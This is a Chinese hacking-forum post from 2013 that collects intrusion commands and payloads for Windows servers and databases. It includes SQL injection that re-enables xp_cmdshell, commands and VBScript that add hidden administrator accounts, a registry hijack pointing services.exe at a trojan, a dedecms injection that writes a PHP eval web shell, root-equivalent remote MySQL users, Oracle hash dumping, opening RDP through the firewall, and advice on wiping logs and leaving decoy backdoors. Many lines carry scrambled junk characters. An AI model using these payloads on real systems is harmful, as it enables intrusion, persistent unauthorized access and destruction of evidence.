找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 4804|回复: 0
打印 上一主题 下一主题

渗透技术大全

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-27 21:24:42 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
8 u: \4 }* U/ K1 `
1.net user administrator /passwordreq:no
. u: D% M& M( c# H# |* E这句的意思是"administrator帐号不需要密码",如果可以成功执行的话,3389登陆时administrator的密码就可以留空,直接登陆了,然后进去后再net user administrator /passwordreq:yes恢复就可以了
+ \! N9 U' _) m  o# y1 Y; R+ g2.比较巧妙的建克隆号的步骤
: r& z% D) b4 I先建一个user的用户; d; ~( _) {2 t1 k- U
然后导出注册表。然后在计算机管理里删掉
9 ^; t& }8 Q$ O; T6 v2 P0 p( U; I0 L在导入,在添加为管理员组' j% i4 G* v: V! U, @
3.查radmin密码5 L$ Y% m# ?" {# U3 L
reg save HKEY_LOCAL_MACHINE\SYSTEM\RAdmin c:\a.reg
! o; J: s, d1 Z" l4.[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Window NT\CurrentVersion\Image File execution options]" A- [+ y7 W% n1 {9 j5 @) ^4 H
建立一个"services.exe"的项$ c* @& `- R4 G4 [2 {& J
再在其下面建立(字符串值): _# L! m7 h6 [& m5 j
键值为mu ma的全路径9 D; T  h1 \4 c
5.runas /user:guest cmd* E4 Q2 r) C: f/ V* j
测试用户权限!* `( P1 R, q! N0 Y  M
6.、 tlntadmn config sec = -ntlm    exec master.dbo.xp_cmdshell \'tlntadmn config sec = -ntlm\'--   其实是利用了tlntadmn这个命令。想要详细了解,输入/?看看吧。(这个是需要管理员权限的哦)建立相同用户通过ntml验证就不必我说了吧?
' B7 u) n3 W- n1 K7.入侵后漏洞修补、痕迹清理,后门置放:8 ]$ W6 {2 _8 {, r
基础漏洞必须修补,如SU提权,SA注入等。DBO注入可以考虑干掉xp_treelist,xp_regread自行记得web目录;你一定要记得清理痕迹~sqlserver连接使用企业管理器连接较好,使用查询分析器会留下记录,位于HKEY_CURRENT_USER\Software \Microsoft\Microsoft SQL Server\80\Tools\Client\PrefServers。删除之;IISlog的清除可不要使用AIO类的工具直接完全删除日志~可以选择logcleaner类工具只删除指定IP的访问记录,如果你能gina到管理员密码则通过登陆他清理日志并通过WYWZ进行最后的痕迹清理。话说回来手动清理会比较安全。最后留下一个无日志记录的后门。一句话后门数个,标准后门,cfm后门我一般都不会少。要修改时间的哦~还有一招比较狠滴,如果这个机器只是台普通的肉鸡,放个TXT到管理员桌面吧~提醒他你入侵了,放置了某个后门,添加了某个用户~(当然不是你真正滴重要后门~)要他清理掉。这样你有很大的可能性得以保留你的真实后门
5 C5 E' J1 i4 E0 {- Q9 G8.declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c
* P6 V0 q: m: Y+ `1 w+ x) H4 p7 J# H7 \$ m- I, d
for example
0 m& U* i+ g$ `) F: R! n  n  t$ s$ q; S+ O/ F+ Q  d
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user aptime aptime /add'% _" G; z1 O9 V' k) u: |
$ I& n& o  Y0 A" m' @! J1 l0 ~" s8 q
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrator aptime /add'0 Y8 V5 x4 d% w, \* j2 B/ I5 W: q1 R

4 a& O8 J0 |  c( k% d% T' L1 n1 D9:MSSQL SERVER 2005默认把xpcmdshell 给ON了7 N! p6 Y4 C( ~2 V
如果要启用的话就必须把他加到高级用户模式
$ N8 M! ?* J  `可以直接在注入点那里直接注入
  Q/ l+ M$ O3 U3 ?id=5;EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;--
# ?1 E! E( \+ c4 i然后;dbcc addextendedproc("xp_cmdshell","xplog70.dll");--
. \' G8 O- a. z$ r0 U或者3 n  |, h: S) k1 ~' B& O6 C7 i
sp_addextendedproc xp_cmdshell,@dllname='xplog70.dll'' {% e/ E4 Z4 Z+ c: u
来恢复cmdshell。1 S4 |9 _9 p: G6 B  M) s
/ Y- j5 n* g' c8 s) Q
分析器3 |3 l( ^4 R8 G0 H: \
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;--
. i8 ^7 O4 E) O1 H5 b' n; r7 ?( z然后;dbcc addextendedproc("xp_cmdshell","xplog70.dll")+ C& P& W8 R5 j7 U8 g" _
10.xp_cmdshell新的恢复办法  H8 \0 c9 y/ D$ s/ S
xp_cmdshell新的恢复办法
* D7 K$ ~) B4 H# r0 Z扩展储存过程被删除以后可以有很简单的办法恢复:, ]5 l; }  B1 T( x
删除# L' @, ]0 r  s4 l
drop procedure sp_addextendedproc
1 }4 J  o" r& @) C- adrop procedure sp_oacreate; ]% W+ i0 i% O0 m
exec sp_dropextendedproc 'xp_cmdshell'& U# P2 k, c$ C9 ~! ]

8 \( }5 R, [; v  n) y+ s5 ~恢复$ K2 \/ ?0 s1 |) l! o( p# E
dbcc addextendedproc ("sp_oacreate","odsole70.dll")0 K# Q. ^) L( G( n# y
dbcc addextendedproc ("xp_cmdshell","xplog70.dll"), u4 D( v  N% Z/ p# e3 m  Y
" ?& o7 K) e: S) n5 b, b0 C
这样可以直接恢复,不用去管sp_addextendedproc是不是存在, R. I2 ?' q% W1 T& Z9 y1 G/ w
) ^/ k9 h% H, H5 g5 m9 b
-----------------------------
' p$ j- R, R; b' d
% I+ \) Y' V0 C" N, Q  Z) {9 }删除扩展存储过过程xp_cmdshell的语句:1 k3 H1 h  j+ }& j8 l" [
exec sp_dropextendedproc 'xp_cmdshell'7 a, o' Y9 O" L: T1 {: {: p9 t
* L/ j7 e! k% c- v3 O
恢复cmdshell的sql语句
) c% b) T& r' P1 E/ nexec sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'
2 N+ \. j/ N& r2 w* x8 N+ k8 U
  E7 z5 h% _2 b/ z. _# h1 O  n' E7 @: q
开启cmdshell的sql语句/ r. Y/ f0 U$ A3 Y! S

4 N; Y2 S4 l- z1 `- ^, Sexec sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'
$ j7 |% [, U7 D0 `1 T  e4 g* K7 }3 d& y  i
判断存储扩展是否存在
  c7 r& V9 _* ]9 zselect count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell'
! m8 {% H9 u3 s0 l2 W9 k) R返回结果为1就ok0 S7 W) o/ M+ V, W8 J3 D! g" E+ K( E

$ S; ]3 h) b6 r' A' C  P) a恢复xp_cmdshell
* L/ m% l0 g4 [  k8 Y$ |* f2 i, Aexec master.dbo.addextendedproc 'xp_cmdshell','xplog70.dll';select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell'2 E) j! _* }0 i8 U. ?: X
返回结果为1就ok0 [9 U. r/ B, _* K  P9 F
7 P! `  T, ?' B
否则上传xplog7.0.dll+ E% F3 I  A% b
exec master.dbo.addextendedproc 'xp_cmdshell','c:\winnt\system32\xplog70.dll'
  x( F. _+ n$ |4 a3 A% _# u" ?4 q8 x: h8 R4 z6 P
堵上cmdshell的sql语句
7 B  B/ P; S4 m3 @/ @, U; ~  wsp_dropextendedproc "xp_cmdshel/ W' U; D  E* r- i! z) d$ N( v* Z
-------------------------' t0 z7 c+ O9 i# m
清除3389的登录记录用一条系统自带的命令:" u* N; g! q3 X; b$ p  ^: W! f$ b
reg delete "hkcu\Software\Microsoft\Terminal Server Client"  /f
- d4 a# R* n: T. x- y& l0 S: ]. P4 U" W
然后删除当前帐户的 My Documents 文件夹下的 Default.rdp 文件
' N6 D5 w2 }. I在 mysql里查看当前用户的权限( s% p( f/ ]) h9 ~
show grants for  
" B$ L0 {. G9 t, \( F; K
4 x4 c! K2 W  P3 s以下语句具有和ROOT用户一样的权限。大家在拿站时应该碰到过。root用户的mysql,只可以本地连,对外拒绝连接。以下方法可以帮助你解决这个问题了,下面的语句功能是,建立一个用户为itpro 密码123 权限为和root一样。允许任意主机连接。这样你可以方便进行在本地远程操作数据库了。
. n4 `( p5 `. K7 }- \9 K1 p, f" L
3 H4 J1 `1 d2 ?/ G9 ?2 H
2 z! `7 v% X$ r& [7 T$ ACreate USER 'itpro'@'%' IDENTIFIED BY '123';
9 l! N3 p( A5 b( N* E% o2 I
* R5 E# X. g+ w5 l8 `( t3 PGRANT ALL PRIVILEGES ON *.* TO 'itpro'@'%' IDENTIFIED BY '123'WITH GRANT OPTION
9 d% d" J7 k: ?9 N  B
: g. |& P: q6 ^; L% o( ~0 ]- KMAX_QUERIES_PER_HOUR 0 MAX_CONNECTIONS_PER_HOUR 0
" ^7 M! |! L2 U; _# o- F6 q
/ A( E# n* U, B5 m# UMAX_UpdateS_PER_HOUR 0 MAX_USER_CONNECTIONS 0;" i7 Y( z. W" N' [. X
) P( _" @3 C, |" L( B3 ^/ k
搞完事记得删除脚印哟。
3 {& q: G: H5 f: n9 k
) n1 l3 s1 a5 Y. O( j- ^Drop USER 'itpro'@'%';
* W* L9 L+ u1 ?) S; S: w) H; p  N. W! b5 ^! p+ w8 e& J
Drop DATABASE IF EXISTS `itpro` ;
* ?9 H% x8 c6 G$ D, c5 @( y, d
, n& ~5 @6 V  G6 A: p- m/ K当前用户获取system权限
4 a) Z. b0 K2 U" Q3 V; Psc Create SuperCMD binPath= "cmd /K start" type= own type= interact
* T9 L1 ~, Y* @8 b9 C, E( }$ ]sc start SuperCMD
% }) A2 E7 i1 [3 ]6 R程序代码
7 u& J4 L2 w! z4 t4 }# _% G( x<SCRIPT LANGUAGE="VBScript">
! ]/ q' j, y0 i& cset wsnetwork=CreateObject("WSCRIPT.NETWORK")
% s/ c' `" n! i2 Cos="WinNT://"&wsnetwork.ComputerName
4 `  Q, T- i- o  OSet ob=GetObject(os): z. Y- }9 S  @! i' v8 Z( H
Set oe=GetObject(os&"/Administrators,group")
; W# @) `* E5 F5 sSet od=ob.Create("user","nosec")/ |5 I* o, w* Z2 p$ x0 ?. n% C
od.SetPassword "123456abc!@#"
: l8 U3 r% ?/ ]+ X- l! |od.SetInfo- g) z3 k5 G4 M) c4 X4 g4 `
Set of=GetObject(os&"/nosec",user)
  R1 G4 F/ a( f7 v) d( t  x$ |oe.add os&"/nosec"
; O; }3 N8 b/ O5 K</Script>
3 @  E* I3 E: G$ {8 x# G<script language=javascript>window.close();</script>+ I' Z1 ^+ M0 ~6 {+ Q8 w1 y4 p
, G9 S) `% V; D" Y4 a

& @$ t% ~4 N* D9 p2 x  U5 v" h, X) \* A! v/ q) i+ }! t
8 Y( j1 F  W. O; i
突破验证码限制入后台拿shell; }. s8 k  _0 M8 q. y: T7 E
程序代码3 W0 e' b. H: C# h/ y( b
REGEDIT4
' L4 r$ h4 _6 w3 R[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\Security] ( Z1 O2 H  I3 w" E
"BlockXBM"=dword:00000000( y- k& e! J2 q8 {

5 l7 o9 ]6 Z, F4 B0 Y" u保存为code.reg,导入注册表,重器IE$ H' m* g1 ]6 p$ Y- R$ h
就可以了, g; q" O( s2 O2 U
union写马
: o/ X+ n' k' B! Y% s程序代码
: H# `6 A: g& e! m3 ywww.baidu.com/plus/infosearch.php?action=search&q=%cf'%20union%20select%201,2,3,4,'<?php%20eval($_POST[cmd])?>',6+into+outfile+'D:\\wwwroot\\duizhang.php'+/*5 G1 r/ C* T; Q, X
! Q- H: d; O0 W6 ^
应用在dedecms注射漏洞上,无后台写马
5 r* }" d( d- S7 k* G( H, ?! vdedecms后台,无文件管理器,没有outfile权限的时候
6 V( W- I7 x& T' K在插件管理-病毒扫描里
- {7 M  x' ?' q' ?( p  [" X5 l写一句话进include/config_hand.php里
# ?; k* `: X; B+ @/ }+ m程序代码+ f7 {9 c4 P0 ~, ^( \* a$ v
>';?><?php @eval($_POST[cmd]);?>
! Z' s3 l7 M9 w  {; ~' T5 V7 b) z- v- C5 ]) K  G
8 u3 J+ q1 n+ M- E2 N( o
如上格式
0 j1 k+ f* L8 g; ^" x
/ h0 Z+ A: M5 b, {2 b% S' o& w1 Y: Zoracle中用低权限用户登陆后可执行如下语句查询sys等用户hash然后用cain破解+ @6 b& u0 ^9 d, z* O
程序代码
+ E4 v( M( B2 G. n0 A4 Mselect username,password from dba_users;; a) e, Z- m$ O- L! C
7 l) s3 J1 j/ z/ l" e8 y) q/ O

- g  x) u* v  p. @, Pmysql远程连接用户0 g. G6 p) K$ O) S8 _5 O  `
程序代码% D5 d; e$ N9 s; [
( @' w7 H  C6 F2 U' c4 ]
Create USER 'nosec'@'%' IDENTIFIED BY 'fuckme';
& u. [. L: v6 h6 M$ H% o+ M' G# gGRANT ALL PRIVILEGES ON *.* TO 'nosec'@'%' IDENTIFIED BY 'fuckme' WITH GRANT OPTION
1 m) N) N4 x3 I$ vMAX_QUERIES_PER_HOUR 0 MAX_CONNECTIONS_PER_HOUR 0
  Y2 \2 t# q7 @1 ?* fMAX_UpdateS_PER_HOUR 0 MAX_USER_CONNECTIONS 0;
' u2 I' Q6 r% }
5 u$ Z4 ]' i. a5 {: a- S4 H9 w3 ?3 Q, f* _6 W0 \" `2 D% j

% a* U; X, p" F6 ^8 ?  [& {
6 \" ]7 D2 _  V( Cecho y |reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0( m7 `) e* q- K; V3 h8 X  w

2 ]- D  z+ c+ ~  H) I' ]1.查询终端端口
. W: M+ b& I" _- ]& s, E: g# p
1 a& Y7 Q6 d4 ?2 Y- p" j9 _xp&2003:REG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber
, h6 h$ F. M7 t7 }. b! d' U6 o  l* B  z8 `
通用:regedit /e tsp.reg "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal server\Wds\rdpwd\Tds\tcp"% R6 H9 g( p; s" B2 h5 o
type tsp.reg
1 s( t0 {/ l  C( [3 a' O' N9 \: q0 f
2.开启XP&2003终端服务1 H$ R$ C* G. Z8 ^6 O1 w, `

0 P# R* q' @# N6 d$ Z: Y4 Y5 x+ O$ U: j3 h2 x. m& w; S( ]
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 0 /f
6 c8 ^0 c7 z, F8 O0 I& r$ |( N1 o6 m
6 o" P. M3 h9 i# [" y: s0 O2 ?. K3 Z3 j& v2 ?$ W
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
1 G7 f% R- ?9 s' }& p
6 j3 ^7 Q* n1 W/ s- {5 ^3.更改终端端口为20008(0x4E28)
4 E8 u- S: a$ X% C" |5 e, r2 \4 n& v7 p. p9 \1 l. O2 @9 m5 u$ [" D
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\Wds\rdpwd\Tds\tcp /v PortNumber /t REG_DWORD /d 0x4E28 /f
3 T! q) A# v  }$ F# T
# a2 F3 U% c2 H1 kREG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber /t REG_DWORD /d 0x4E28 /f
' H4 j( Z* k0 E, K% e
- s8 V  J8 g/ W, Q. l4.取消xp&2003系统防火墙对终端服务3389端口的限制及IP连接的限制
% m' T. H( y3 T, Y7 I) m3 f; h. a2 ]6 @5 y& t- `7 V
REG ADD HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\GloballyOpenPorts\List /v 3389:TCP /t REG_SZ /d 3389:TCP:*:Enabledxpsp2res.dll,-22009 /f7 i. ?" X3 g- a, R! Y

7 F( H! F; c0 }# g4 i2 b; E$ _, a# k6 l8 x- H% I6 i4 R
5.开启Win2000的终端,端口为3389(需重启)
# h1 t' F! u% `# X: X+ d  x' J9 e% d3 S2 R
echo Windows Registry Editor Version 5.00 >2000.reg , Q+ P+ N) O1 S
echo. >>2000.reg) S" ~$ v4 e) m
echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\netcache] >>2000.reg ) @0 S7 C2 \4 m1 `8 |; P' {, _* O
echo "Enabled"="0" >>2000.reg
$ S/ F7 a2 R1 Z0 wecho [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon] >>2000.reg / d0 G( ]! B; X) A3 i% i
echo "ShutdownWithoutLogon"="0" >>2000.reg 6 Z# v6 _' ?% c. Y  C/ h
echo [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer] >>2000.reg
4 F% v" b' S+ V: U" Y3 Aecho "EnableAdminTSRemote"=dword:00000001 >>2000.reg + C7 n9 p9 Y0 A# l- G! Q: U
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server] >>2000.reg % w' B5 }* x7 v$ E- z/ M& t5 `- i
echo "TSEnabled"=dword:00000001 >>2000.reg
% \+ S$ q, |3 s* \5 ^echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermDD] >>2000.reg # u! N! Q. \; g/ v+ U4 o( V
echo "Start"=dword:00000002 >>2000.reg
! F+ x7 X  W: J! _5 K' ~echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermService] >>2000.reg
' g, }0 a/ A( O) r; zecho "Start"=dword:00000002 >>2000.reg / d# B- ^; O) W4 ^- Q7 Q7 w" k
echo [HKEY_USERS\.DEFAULT\Keyboard Layout\Toggle] >>2000.reg 6 y4 t( I5 F$ _6 q- l  s% ?5 _
echo "Hotkey"="1" >>2000.reg 6 U; l* V2 w8 s1 X3 A) P3 a
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp] >>2000.reg
; r3 M! k/ B/ N5 d2 G# `# I3 d! m2 Decho "ortNumber"=dword:00000D3D >>2000.reg 3 w, M- b- X. s' Y6 X: ]
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp] >>2000.reg
5 g6 D$ E% g' R. L+ }echo "ortNumber"=dword:00000D3D >>2000.reg
0 q. p( {" T8 H0 z2 G# X( C: l, }) S+ W: w7 {4 R/ E
6.强行重启Win2000&Win2003系统(执行完最后一条一句后自动重启)
6 v6 A, R, R3 h+ I: f2 I0 Q8 a: `3 T% l8 q
@ECHO OFF & cd/d %temp% & echo [version] > restart.inf
+ c9 w9 |/ d# D( A9 @9 ]7 B(set inf=InstallHinfSection DefaultInstall)
4 W! S  S. t' Q; T9 c" @+ }: Necho signature=$chicago$ >> restart.inf5 d2 W9 z- Q( R$ y2 I
echo [defaultinstall] >> restart.inf& j+ J% m1 ^; Y) s, W
rundll32 setupapi,%inf% 1 %temp%\restart.inf: Y2 ]4 q1 T3 ], U
4 ?- u+ J7 h7 j. o, o" h

) E! r  r4 [! z% u& U4 z7.禁用TCP/IP端口筛选 (需重启)
; c0 A2 G* p" l5 c% h+ F! p5 W7 F( m- Z
/ T) ~- }+ w: J, y' IREG ADD HKLM\SYSTEM\ControlSet001\Services\Tcpip\parameters /v EnableSecurityFilters /t REG_DWORD /d 0 /f
/ b7 P$ U( b# R$ k, ^/ H/ X6 x& H) N
8.终端超出最大连接数时可用下面的命令来连接
% @7 m4 W4 ~, b
5 O: e" l8 v! ^5 k4 |mstsc /v:ip:3389 /console
. v2 |! T( B4 k
/ \2 d; [- G" b9.调整NTFS分区权限8 s" r" ^% ^7 A4 j! [0 K8 T* s
% h6 U1 c( \& G3 L# {3 l* I
cacls c: /e /t /g everyone:F (所有人对c盘都有一切权利)
0 J1 O' W. d7 z  S  P9 E8 H/ ?# |$ F2 w: b2 ?
cacls %systemroot%\system32\*.exe /d everyone (拒绝所有人访问system32中exe文件)
. ?; N# {/ {, l
4 c2 ^/ ]% F; E, Z! L0 J9 L------------------------------------------------------
, s+ r' ~7 }' O+ ?% c# G3389.vbs % H: o* q9 a# l9 n
On Error Resume Next
) l: Y' a  u2 [' j3 V1 |const HKEY_LOCAL_MACHINE = &H80000002
" g+ C( p2 Z% m* ]strComputer = "."' Y0 }$ e7 v9 Y) E
Set StdOut = WScript.StdOut
4 @. w6 w% p  R1 f8 J$ W( p) SSet oreg=GetObject("winmgmts:{impersonationLevel=impersonate}!\\" &_
5 }+ Z/ c9 F& Q' ^: F# L( DstrComputer & "\root\default:StdRegProv")6 g$ H* V( h7 {8 |& n8 @& h: ~
strKeyPath = "SYSTEM\CurrentControlSet\Control\Terminal Server"6 D/ |5 S" e( |( p- _6 x) f* o
oreg.CreateKey HKEY_LOCAL_MACHINE,strKeyPath8 {- V7 v+ ^: B7 w9 @1 H2 f
strKeyPath = "SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp"
4 y* G. N9 w0 ~4 o. r: zoreg.CreateKey HKEY_LOCAL_MACHINE,strKeyPath3 o) H# ~. L: S
strKeyPath = "SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp"
/ x2 F3 F$ e% X4 Y/ \* X9 RstrKeyPath = "SYSTEM\CurrentControlSet\Control\Terminal Server"
  D  F, J5 g& h! l& I' bstrValueName = "fDenyTSConnections"
& M5 x9 x0 X- n: a; M8 C; PdwValue = 0* g* q2 `6 m; `+ s! p+ V+ N
oreg.SetDWORDValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,dwValue' h) B7 f2 @; K# j$ k5 l# G
strKeyPath = "SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp"+ W+ N  D% A: l. O$ ], U2 d7 y
strValueName = "ortNumber"% ^. q+ ]) w- h
dwValue = 3389
. e7 D6 l) }8 z: d. Ooreg.SetDWORDValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,dwValue
6 l% t. G) R; D0 ^strKeyPath = "SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp". m) t7 r! R" m% w, L! n: `
strValueName = "ortNumber"# k& c5 h7 ^) _, x1 s9 F- O; [
dwValue = 3389, Y& n$ H$ m+ V
oreg.SetDWORDValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,dwValue
! q% u, W  k0 w  E) r# e/ h! \% aSet R = CreateObject("WScript.Shell") " V& F. Z; p9 o. ?& D  k
R.run("Shutdown.exe -f -r -t 0")
( `% j" t* I! \7 B, l( p
) h+ |  X4 {- w2 m. p删除awgina.dll的注册表键值
% D6 u/ z4 y' ?' z4 F程序代码
- `2 m+ a7 h( V9 d6 z7 y% j. H" @2 l# X: p8 w6 X5 i' ]9 G
reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v GinaDLL /f$ q& d1 V1 r9 s6 A# j9 ?
5 U. W/ w3 Y7 ?) u
2 l: Z. s- T3 F1 X# D/ E
& J2 b# ?1 o0 Z# u/ G4 W  z
. b! P0 i# i, j; r
程序代码
. I1 j  `6 @; s9 M( `  Q5 d5 p" LHKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\NoLMHash  \' H5 m9 V' L% A- a

7 C  j' `, Z4 O3 C: n; R设置为1,关闭LM Hash
* Y& s: F: k7 v% C
& U- L0 h4 p: ]4 q! f* ]/ M数据库安全:入侵Oracle数据库常用操作命令, P, s& A$ F' ~) G- W
最近遇到一个使用了Oracle数据库的服务器,在狂学Oracle+请教高手后终于搞到了网站后台管理界面的所有用户密码。我发现Oracle操作起来真是太麻烦,为了兄弟们以后少走些弯路,我把入侵当中必需的命令整理出来。8 `2 S& B4 U- E$ o) a
1、su – oracle 不是必需,适合于没有DBA密码时使用,可以不用密码来进入sqlplus界面。
% u. i; r/ x; m8 C6 Y- v/ d# c5 n" V2、sqlplus /nolog 或sqlplus system/manager 或./sqlplus system/manager@ora9i;
$ Z2 c' g. `0 m3、SQL>connect / as sysdba ;(as sysoper)或$ D. O# W& n) o) H
connect internal/oracle AS SYSDBA ;(scott/tiger); v+ p5 j0 a/ s8 Z
conn sys/change_on_install as sysdba;( l  R, U$ p7 n. [. M5 z# O% Q* ~% ^
4、SQL>startup; 启动数据库实例7 F& W6 W3 M0 J
5、查看当前的所有数据库: select * from v$database;
+ }& M* F3 E( H# hselect name from v$database;7 }2 o  l+ S1 q: T. z5 R
6、desc v$databases; 查看数据库结构字段3 s/ U# I: ?6 R3 A% k$ H  b6 `) r
7、怎样查看哪些用户拥有SYSDBA、SYSOPER权限:
7 r- s# r1 Q# H: ]- BSQL>select * from V_$PWFILE_USERS;3 J- {4 w1 F& M8 F
Show user;查看当前数据库连接用户
* i$ h# d' Z- E* r8、进入test数据库:database test;
7 {! T* Q* T7 l/ Q" Y1 W1 O9、查看所有的数据库实例:select * from v$instance;
: ]) H. ^& b  a- e& G* C如:ora9i
! c* _. i( Q( l3 Z# k4 F10、查看当前库的所有数据表:1 G9 i/ r* n, R
SQL> select TABLE_NAME from all_tables;
" h) A8 p3 L- x3 tselect * from all_tables;& D7 g: G+ ~/ p$ ]) \' h) V" Y
SQL> select table_name from all_tables where table_name like '%u%';* i) {5 C* k6 @  E
TABLE_NAME
' U  w, V) q: I& F------------------------------7 R( n) ]0 K2 b9 |9 i& Z
_default_auditing_options_* u" m4 e+ D/ e" p( b) f/ [
11、查看表结构:desc all_tables;7 W% L- P+ {7 p- ?: J, |) l! S
12、显示CQI.T_BBS_XUSER的所有字段结构:
3 N/ T1 E  d% ?  d1 W3 tdesc CQI.T_BBS_XUSER;
; w. C5 `! a0 r  r5 T5 D1 |13、获得CQI.T_BBS_XUSER表中的记录:
9 L. M* P% @+ fselect * from CQI.T_BBS_XUSER;& M: K. W  ~( {% M  }2 x
14、增加数据库用户:(test11/test)
/ n: f% W3 z  pcreate user test11 identified by test default tablespace users Temporary TABLESPACE Temp;5 ?2 s; r; J9 h* ?0 Y
15、用户授权:
2 X, Y" k; n. |& V) C5 h. n! }: wgrant connect,resource,dba to test11;
6 A+ t+ a8 p3 M& U0 ^$ wgrant sysdba to test11;9 E0 `, r- F4 k8 C. r1 u
commit;
1 g9 j6 ?0 r8 A/ u7 k5 o5 c1 I16、更改数据库用户的密码:(将sys与system的密码改为test.)
" t# }  f$ d% Salter user sys indentified by test;
" G; q, F0 W$ `: n) `alter user system indentified by test;
# T% p- f7 P/ s
% e& \4 L2 G! z( P% C! m; zapplicationContext-util.xml( t# \' a, {& {) b5 W- @& ]+ l
applicationContext.xml
7 n0 [/ D9 m1 Z* Q3 J: ?struts-config.xml
6 w7 D: X' p; u1 ~$ [; bweb.xml
! O, Q' i8 c1 v7 p7 Wserver.xml7 Z1 }1 g' }' N$ J3 u
tomcat-users.xml1 @' _( U; g8 A! B; {: |
hibernate.cfg.xml
3 b( ^( D  _  U! sdatabase_pool_config.xml
2 q! l' e" a9 [4 ]4 @# \4 @6 O7 {1 b

) T( e' V- i% q, Y  u) f- O" X4 `! E5 p\WEB-INF\classes\hibernate.cfg.xml 数据库连接配置" B6 X& s0 n* _* m
\WEB-INF\server.xml         类似http.conf+mysql.ini+php.ini
& V. A1 i/ a9 O4 u2 L\WEB-INF\struts-config.xml  文件目录结构! l( D9 L  g, L$ |% T# J& Q# i' h
" f( h( d8 s% v3 s6 {% B
spring.properties 里边包含hibernate.cfg.xml的名称" K, [: {0 M& p! Q5 @0 o* X

3 @& @# f  D6 c* }1 b9 u; f/ d; x7 X9 o2 Y  i  }2 H3 H
C:\Program Files\Apache Software Foundation\Tomcat 5.5\conf\tomcat-users.xml
, @! x. V. {4 n, f0 Z7 j) k! D) P  E, k7 H& T  g8 a; t
如果都找不到  那就看看class文件吧。。, M8 X  L- T( [  y8 q
) m- `' A8 R+ F3 Y+ R
测试1:* U0 [) Z$ e4 l
SELECT top 1 name=STUFF((SELECT ','+[name] FROM sysobjects t  where xtype='U' FOR XML PATH('')), 1, 1, '') FROM sysobjects t1
/ Z" y; s! Q0 P$ N/ e2 [/ t  m" y" O3 w$ V
测试2:' V& U4 k. {6 ~) r

% X1 o5 @4 l# Z# p1 q1 v7 Fcreate table dirs(paths varchar(100),paths1 varchar(100), id int)
4 h  m& c1 T8 N7 t- J: ?! j/ }3 [/ Y4 S- Z
delete dirs;insert dirs exec master.dbo.xp_dirtree 'c:\',1,1--* ^/ j3 U  ~' K& ]) N* n8 |- t( h; P
+ U$ E# i5 k/ Q% Y& s9 H
SELECT top 1 paths=STUFF((SELECT ','+[paths] FROM dirs FOR XML PATH('')), 1, 1, '') FROM dirs t1* [& D# ^9 C8 @6 O& s1 x

' `! ?* E% O) S* a  a7 c" [查看虚拟机中的共享文件:& `) a# i3 e+ t0 [
在虚拟机中的cmd中执行
! A& c& ]! i( I9 r\\.host\Shared Folders
. y8 ?7 c6 B8 j! \& O5 l+ @
. k2 o) B* l% c; K+ y1 Z, s5 X9 ~$ L2 vcmdshell下找终端的技巧
8 _3 e$ H% o/ E- g5 G1 M6 R; a* ]找终端:
( ?, j; k1 {) c- f1 c3 [: S/ v$ T" Y第一步: Tasklist/SVC 列出所有进程,系统服务及其对应的PID值!
9 \" G( H! a" s1 ?. p   而终端所对应的服务名为:TermService
0 q8 W! F8 z5 Q& @0 o% ]% l4 b7 e第二步:用netstat -ano命令,列出所有端口对应的PID值! 6 r% J3 Y3 r8 h0 j4 l
   找到PID值所对应的端口
